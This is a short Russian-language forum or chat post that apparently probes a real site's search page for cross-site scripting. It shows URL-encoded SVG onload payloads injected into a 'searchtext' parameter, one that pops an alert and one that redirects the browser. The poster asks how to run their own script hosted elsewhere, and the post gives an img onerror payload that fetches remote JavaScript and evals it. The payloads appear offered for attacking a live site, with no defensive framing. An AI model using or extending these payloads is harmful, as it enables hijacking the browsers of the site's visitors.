вот так: search-results?searchtext=%3CSvg%20Only=1%20OnLoad=alert(%27abradodabra%27)%3E
и вот так search-results?searchtext=%3CSvg%20Only=1%20OnLoad=document.location.assign(%27%2F%2Fgoogle.com%27)%3E
Как мне сделать так что бы мой код исполнялся который находится на другом хосте? (https://0x0.st/HbD9.js)
<img onerror=fetch('url').then(function(res){res.text().then(function(data){eval(data)})}) src=1>
Обсуждают сегодня